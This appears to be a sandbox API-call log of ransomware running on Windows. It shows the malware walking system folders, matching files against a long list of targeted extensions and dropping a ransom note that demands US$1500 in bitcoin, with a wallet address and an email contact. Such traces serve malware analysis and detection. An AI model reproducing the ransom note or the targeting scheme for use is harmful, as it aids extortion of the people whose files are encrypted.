[0108.311] lstrlenA (lpString="*.xdw") returned 5 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.ods") returned 0 [0108.311] lstrlenA (lpString="*.ods") returned 5 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.wav") returned 0 [0108.311] lstrlenA (lpString="*.wav") returned 5 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.mp3") returned 0 [0108.311] lstrlenA (lpString="*.mp3") returned 5 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.aiff") returned 0 [0108.312] lstrlenA (lpString="*.aiff") returned 6 [0108.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.flac") returned 0 [0108.312] lstrlenA (lpString="*.flac") returned 6 [0108.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.m4a") returned 0 [0108.312] lstrlenA (lpString="*.m4a") returned 5 [0108.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.csv") returned 0 [0108.312] lstrlenA (lpString="*.csv") returned 5 [0108.312] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadcdf670, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xadcdf670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd057d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d1e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.312] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.312] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4c1f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xae4c1f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae4c1f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="44d92afadfba0a88c5f2aaba61df444c", cAlternateFileName="44D92A~1")) returned 1 [0108.312] lstrcmpA (lpString1=".", lpString2="44d92afadfba0a88c5f2aaba61df444c") returned -1 [0108.312] lstrcmpA (lpString1="..", lpString2="44d92afadfba0a88c5f2aaba61df444c") returned -1 [0108.312] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\*.*") returned="*.*" [0108.312] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\", lpString2="44d92afadfba0a88c5f2aaba61df444c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c" [0108.312] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c") returned 100 [0108.312] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4c1f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xae4c1f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae4c1f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.315] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.316] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4c1f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xae4c1f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae4c1f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.316] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.316] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.316] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae44fb30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xae44fb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae475c90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x5ce00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.316] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.316] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessApplications.Diagnostics.ni.dll") returned -1 [0108.316] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessApplications.Diagnostics.ni.dll") returned -1 [0108.316] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessApplications.Diagnostics.ni.dll") returned -1 [0108.316] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\*.*") returned="*.*" [0108.316] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\" [0108.316] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\") returned="" [0108.316] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\HOW TO DECRYPT FILES.txt" [0108.316] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\44d92afadfba0a88c5f2aaba61df444c\\how to decrypt files.txt")) returned 0xffffffff [0108.317] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\44d92afadfba0a88c5f2aaba61df444c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.321] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.321] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.439] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.439] CloseHandle (hObject=0x90) returned 1 [0108.439] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\", lpString2="Microsoft.Office.BusinessApplications.Diagnostics.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll" [0108.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.ems") returned 0 [0108.439] lstrlenA (lpString="*.ems") returned 5 [0108.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.db") returned 0 [0108.439] lstrlenA (lpString="*.db") returned 4 [0108.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.dbf") returned 0 [0108.439] lstrlenA (lpString="*.dbf") returned 5 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.myox") returned 0 [0108.440] lstrlenA (lpString="*.myox") returned 6 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.myo") returned 0 [0108.440] lstrlenA (lpString="*.myo") returned 5 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.qbw") returned 0 [0108.440] lstrlenA (lpString="*.qbw") returned 5 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.qbb") returned 0 [0108.440] lstrlenA (lpString="*.qbb") returned 5 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.qbm") returned 0 [0108.440] lstrlenA (lpString="*.qbm") returned 5 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.qbo") returned 0 [0108.440] lstrlenA (lpString="*.qbo") returned 5 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.qbx") returned 0 [0108.440] lstrlenA (lpString="*.qbx") returned 5 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.qba") returned 0 [0108.440] lstrlenA (lpString="*.qba") returned 5 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.qby") returned 0 [0108.440] lstrlenA (lpString="*.qby") returned 5 [0108.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.qbj") returned 0 [0108.441] lstrlenA (lpString="*.qbj") returned 5 [0108.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.ofx") returned 0 [0108.441] lstrlenA (lpString="*.ofx") returned 5 [0108.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.qif") returned 0 [0108.441] lstrlenA (lpString="*.qif") returned 5 [0108.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.mye") returned 0 [0108.441] lstrlenA (lpString="*.mye") returned 5 [0108.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.mbox") returned 0 [0108.441] lstrlenA (lpString="*.mbox") returned 6 [0108.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.eml") returned 0 [0108.441] lstrlenA (lpString="*.eml") returned 5 [0108.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.pst") returned 0 [0108.441] lstrlenA (lpString="*.pst") returned 5 [0108.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.ost") returned 0 [0108.441] lstrlenA (lpString="*.ost") returned 5 [0108.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.idx") returned 0 [0108.441] lstrlenA (lpString="*.idx") returned 5 [0108.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.dbx") returned 0 [0108.442] lstrlenA (lpString="*.dbx") returned 5 [0108.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.sql") returned 0 [0108.442] lstrlenA (lpString="*.sql") returned 5 [0108.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.mdb") returned 0 [0108.442] lstrlenA (lpString="*.mdb") returned 5 [0108.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.fdb") returned 0 [0108.442] lstrlenA (lpString="*.fdb") returned 5 [0108.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.wab") returned 0 [0108.442] lstrlenA (lpString="*.wab") returned 5 [0108.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.dat") returned 0 [0108.442] lstrlenA (lpString="*.dat") returned 5 [0108.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.txt") returned 0 [0108.442] lstrlenA (lpString="*.txt") returned 5 [0108.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.jpeg") returned 0 [0108.442] lstrlenA (lpString="*.jpeg") returned 6 [0108.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.jpg") returned 0 [0108.442] lstrlenA (lpString="*.jpg") returned 5 [0108.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.png") returned 0 [0108.443] lstrlenA (lpString="*.png") returned 5 [0108.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.php") returned 0 [0108.443] lstrlenA (lpString="*.php") returned 5 [0108.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.cs") returned 0 [0108.443] lstrlenA (lpString="*.cs") returned 4 [0108.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.cpp") returned 0 [0108.443] lstrlenA (lpString="*.cpp") returned 5 [0108.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.rar") returned 0 [0108.443] lstrlenA (lpString="*.rar") returned 5 [0108.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.zip") returned 0 [0108.443] lstrlenA (lpString="*.zip") returned 5 [0108.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.html") returned 0 [0108.443] lstrlenA (lpString="*.html") returned 6 [0108.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.htm") returned 0 [0108.443] lstrlenA (lpString="*.htm") returned 5 [0108.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.xlsx") returned 0 [0108.443] lstrlenA (lpString="*.xlsx") returned 6 [0108.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.xls") returned 0 [0108.444] lstrlenA (lpString="*.xls") returned 5 [0108.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.mp4") returned 0 [0108.444] lstrlenA (lpString="*.mp4") returned 5 [0108.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.ppt") returned 0 [0108.444] lstrlenA (lpString="*.ppt") returned 5 [0108.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.pptx") returned 0 [0108.444] lstrlenA (lpString="*.pptx") returned 6 [0108.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.doc") returned 0 [0108.444] lstrlenA (lpString="*.doc") returned 5 [0108.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.dot") returned 0 [0108.444] lstrlenA (lpString="*.dot") returned 5 [0108.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.docx") returned 0 [0108.444] lstrlenA (lpString="*.docx") returned 6 [0108.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.7z") returned 0 [0108.444] lstrlenA (lpString="*.7z") returned 4 [0108.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.tar") returned 0 [0108.445] lstrlenA (lpString="*.tar") returned 5 [0108.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.bz2") returned 0 [0108.445] lstrlenA (lpString="*.bz2") returned 5 [0108.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.gz") returned 0 [0108.445] lstrlenA (lpString="*.gz") returned 4 [0108.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.mkv") returned 0 [0108.445] lstrlenA (lpString="*.mkv") returned 5 [0108.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.eml") returned 0 [0108.445] lstrlenA (lpString="*.eml") returned 5 [0108.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.msg") returned 0 [0108.445] lstrlenA (lpString="*.msg") returned 5 [0108.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.edb") returned 0 [0108.445] lstrlenA (lpString="*.edb") returned 5 [0108.445] 